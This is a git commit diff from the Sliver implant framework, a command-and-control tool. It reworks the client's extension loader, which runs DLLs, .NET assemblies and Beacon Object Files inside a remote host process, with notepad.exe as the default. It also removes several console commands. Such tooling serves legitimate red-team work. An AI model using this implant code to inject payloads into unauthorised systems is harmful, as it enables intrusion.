Compare commits

..
1 Commits
Author SHA1 Message Date
moloch-- 73d14a32e2 WIP on new dns c2 schema 2021-07-24 11:46:17 -05:00
122 changed files with 3672 additions and 14921 deletions

No files matched your search

+1
View File
@@ -121,6 +121,7 @@ windows: clean
.PHONY: pb
pb:
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
-9
View File
@@ -1,9 +0,0 @@
fs/*.zip
fs/extensions/darwin/amd64/
fs/extensions/darwin/arm64/
fs/extensions/linux/amd64/
fs/extensions/windows/amd64/
fs/extensions/darwin/386/
fs/extensions/darwin/386/
fs/extensions/linux/386/
fs/extensions/windows/386/
-100
View File
@@ -19,29 +19,15 @@ package assets
*/
import (
"embed"
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
"path"
"strings"
ver "github.com/bishopfox/sliver/client/version"
)
var (
//go:embed fs/extensions/*
assetsFs embed.FS
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
// SliverExtensionsDirName - Directory storing the client side extensions
SliverExtensionsDirName = "extensions"
versionFileName = "version"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
@@ -56,89 +42,3 @@ func GetRootAppDir() string {
}
return dir
}
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}
func saveAssetVersion(appDir string) {
versionFilePath := path.Join(appDir, versionFileName)
fVer, _ := os.Create(versionFilePath)
defer fVer.Close()
fVer.Write([]byte(ver.GitCommit))
}
// Setup - Extract or create local assets
func Setup(force bool, echo bool) {
appDir := GetRootAppDir()
localVer := assetVersion()
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf("Unpacking assets ...\n")
}
err := setupCoffLoaderExt(appDir)
if err != nil {
fmt.Println(err)
log.Fatal(err)
}
saveAssetVersion(appDir)
}
}
func setupCoffLoaderExt(appDir string) error {
extDir := GetExtensionsDir()
win32ExtDir := path.Join("windows", "386")
win64ExtDir := path.Join("windows", "amd64")
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
manfiestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
loader64, err := assetsFs.ReadFile(coffLoader64)
if err != nil {
return err
}
loader32, err := assetsFs.ReadFile(coffLoader32)
if err != nil {
return err
}
manifest, err := assetsFs.ReadFile(manfiestPath)
if err != nil {
return err
}
localWin32ExtDir := path.Join(extDir, win32ExtDir)
err = os.MkdirAll(localWin32ExtDir, 0700)
if err != nil {
return err
}
localWin64ExtDir := path.Join(extDir, win64ExtDir)
err = os.MkdirAll(localWin64ExtDir, 0700)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
if err != nil {
return err
}
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
}
-16
View File
@@ -1,16 +0,0 @@
[
{
"name": "coff-loader",
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
"entrypoint": "LoadAndRun",
"extFiles": [
{
"os": "windows",
"files": {
"x64": "COFFLoader.x64.dll",
"x86": "COFFLoader.x86.dll"
}
}
]
}
]
+1 -2
View File
@@ -80,7 +80,6 @@ var rootCmd = &cobra.Command{
// StartClientConsole - Start the client console
func StartClientConsole() error {
assets.Setup(false, true)
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
@@ -98,7 +97,7 @@ func StartClientConsole() error {
return nil
}
defer ln.Close()
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
}
// Execute - Execute root command
+7 -177
View File
@@ -36,7 +36,6 @@ package command
import (
"os"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
@@ -45,11 +44,9 @@ import (
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/hosts"
"github.com/bishopfox/sliver/client/command/info"
"github.com/bishopfox/sliver/client/command/jobs"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/command/macros"
"github.com/bishopfox/sliver/client/command/monitor"
"github.com/bishopfox/sliver/client/command/network"
"github.com/bishopfox/sliver/client/command/operators"
@@ -85,14 +82,6 @@ func BindCommands(con *console.SliverConsoleClient) {
con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
}
// Attempt to load extensions from ~/.sliver-client/extensions/
exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
// Absorb error in case there's no extensions manifest
if err == nil {
for _, ext := range exts {
extensions.RegisterExtensionCommand(ext, con)
}
}
con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
// [ Update ] --------------------------------------------------------------
@@ -1188,8 +1177,6 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.UploadStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("i", "ioc", false, "track uploaded file as an ioc")
},
Args: func(a *grumble.Args) {
a.String("local-path", "local path to the file to upload")
@@ -1538,20 +1525,20 @@ func BindCommands(con *console.SliverConsoleClient) {
},
})
// [ Macros ] ---------------------------------------------
// [ Extensions ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.LoadMacroStr,
Help: "Load a sliver macro",
LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
Name: consts.LoadExtensionStr,
Help: "Load a sliver extension",
LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
macros.LoadMacroCmd(ctx, con)
extensions.LoadExtensionCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the macro directory")
a.String("dir-path", "path to the extension directory")
},
HelpGroup: consts.GenericHelpGroup,
})
@@ -1656,7 +1643,7 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("H", "hive", "HKCU", "egistry hive")
f.String("o", "hostname", "", "remote host to read values from")
},
HelpGroup: consts.SliverWinHelpGroup,
@@ -1703,45 +1690,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListSubStr,
Help: "List the sub keys under a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryListSubStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegListSubKeysCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListValuesStr,
Help: "List the values for a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryListValuesStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegListValuesCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to write values to")
},
})
con.App.AddCommand(registryCmd)
// [ Pivots ] --------------------------------------------------------------
@@ -2125,70 +2073,6 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(lootCmd)
// [ Hosts ] --------------------------------------------------------------
hostsCmd := &grumble.Command{
Name: consts.HostsStr,
Help: "Manage the database of hosts",
LongHelp: help.GetHelpFor([]string{consts.HostsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
hostsCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a host from the database",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsRmCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
iocCmd := &grumble.Command{
Name: consts.IOCStr,
Help: "Manage tracked IOCs on a given host",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsIOCCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
iocCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Delete IOCs from the database",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsIOCRmCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
hostsCmd.AddCommand(iocCmd)
con.App.AddCommand(hostsCmd)
// [ Reactions ] -----------------------------------------------------------------
reactionCmd := &grumble.Command{
@@ -2284,58 +2168,4 @@ func BindCommands(con *console.SliverConsoleClient) {
},
}
con.App.AddCommand(dllhijackCmd)
// [ Get Privs ] -----------------------------------------------------------------
getprivsCmd := &grumble.Command{
Name: consts.GetPrivsStr,
Help: "Get current privileges (Windows)",
LongHelp: help.GetHelpFor([]string{consts.GetPrivsStr}),
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
privilege.GetPrivsCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
con.App.AddCommand(getprivsCmd)
// [ Extensions ] -----------------------------------------------------------------
extensionCmd := &grumble.Command{
Name: consts.ExtensionStr,
Help: "Manage sliver extensions",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ListCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
extensionCmd.AddCommand(&grumble.Command{
Name: consts.LoadStr,
Help: "Register a new extension",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.LoadCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the extension directory")
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
})
con.App.AddCommand(extensionCmd)
}
+2 -60
View File
@@ -1,62 +1,4 @@
Extensions
====
===========
Allows to load and execute 3rd party extensions.
Extensions must be loaded from a directory with the following architecture:
```shell
/path/to/extension/folder/
├── manifest.json
└── windows
├── 386
│   └── extension.x86.dll
└── amd64
└── extension.x64.dll
```
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
Here's an example manifest:
```json
[
{
"name": "foo",
"help": "Help for foo command",
"entrypoint": "RunFoo",
"init" :"NimMain",
"dependsOn": "bar",
"files": [
{
"os": "windows",
"files":{
"x86": "extension.x86.o",
"x64": "extension.x64.o",
}
}
],
"arguments": [
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
]
}
]
```
The structure is the following one:
- `name`: name of the extension, which will also be the name of the command in the sliver client
- `help`: the documentation for the new command
- `entrypoint`: the name of the exported function to call
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
- `init`: the initialization function name (if relevant, can be omitted)
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
The `type` of an argument can be one of the following:
- `string`: regular ASCII string
- `wstring`: string that will be UTF16 encoded
- `int`: will be parsed as a 32 bit unsigned integer
- `short`: will be parsed as a 16 bit unsigned integer
- `file`: a string to a file path on the client side which content will be passed to the BOF
Wraps external DLLs/tool in Sliver console commands.
+239 -427
View File
@@ -1,11 +1,26 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"encoding/binary"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
@@ -13,59 +28,80 @@ import (
"path/filepath"
"strings"
"golang.org/x/text/encoding/unicode"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]extensionCommand
type extensionCommand struct {
Name string `json:"name"`
Help string `json:"help"`
Files []extensionFiles `json:"extFiles"`
Arguments []extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"dependsOn"`
Init string `json:"init"`
Path string
var commandMap map[string]extension
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type extensionFiles struct {
type extFile struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
type extensionCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
ExtensionFiles []extFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
}
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, ef := range e.Files {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
case "x64":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
type extension struct {
Name string `json:"extensionName"`
Commands []extensionCommand `json:"extensionCommands"`
Path string
}
func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
if cmdName == c.Name {
for _, ef := range c.ExtensionFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
case "x64":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
default:
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
}
}
}
}
}
if filePath == "" {
@@ -74,239 +110,132 @@ func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, tar
return
}
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no extension command found for name %s", name)
return
}
// LoadExtensionCmd - Locally load an extension into the Sliver shell.
func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
extCmds, err := ParseExtensions(dirPath)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
if dirPath == "" {
con.PrintErrorf("Please provide an extension path\n")
return
}
for _, extCmd := range extCmds {
// do not add if the command already exists
if cmdExists(extCmd.Name, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
continue
}
RegisterExtensionCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
}
}
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
manifestPath := filepath.Join(extPath, "manifest.json")
// retrieve extension manifest
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
con.PrintErrorf("%s\n", err)
}
extensionsCmds := make([]*extensionCommand, 0)
err = json.Unmarshal(jsonBytes, &extensionsCmds)
// parse it
ext := &extension{}
err = json.Unmarshal(jsonBytes, ext)
if err != nil {
return nil, err
con.PrintErrorf("Error loading extension: %v", err)
return
}
for _, extCmd := range extensionsCmds {
extCmd.Path = extPath
commandMap[extCmd.Name] = *extCmd
}
return extensionsCmds, nil
}
ext.Path = dirPath
// for each extension command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
commandMap[extCmd.Name] = *extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if len(extCmd.Arguments) > 0 {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
argFunc func(string, string, ...grumble.ArgOption)
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
} else {
argFunc(arg.Name, arg.Desc)
}
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if extCmd.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
} else {
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
}
},
HelpGroup: consts.ExtensionHelpGroup,
},
HelpGroup: consts.ExtensionHelpGroup,
}
con.App.AddCommand(extensionCmd)
}
con.App.AddCommand(extensionCmd)
con.PrintInfof("%s extension has been loaded\n", ext.Name)
}
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("Error: %s", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.Name == extName {
return nil
}
}
// Extension not found, let's load it
if filepath.Ext(binPath) == ".o" {
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return err
}
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.Name,
Data: binData,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
return err
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
return errors.New(registerResp.Response.Err)
}
return nil
}
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := commandMap[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
if err != nil {
return err
}
depBinData, err := ioutil.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(con, &depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
return
}
if err = loadExtension(ctx, session, con, &ext); err != nil {
con.PrintErrorf("Error: %s\n", err)
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
@@ -316,142 +245,86 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
isBOF := filepath.Ext(binPath) == ".o"
// BOFs (Beacon Object Files) are a specific kind of extensions
// than require another extension (a COFF loader) to be present.
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
// This block will pack both the BOF data and its arguments into a single buffer that
// the loader will extract and load.
if isBOF {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err)
con.PrintErrorf("%s\n", err)
return
}
extName = ext.DependsOn
entryPoint = commandMap[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extensionArgs = []byte(extArgs)
extName = ext.Name
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveSession.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(callExtension.Output)
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
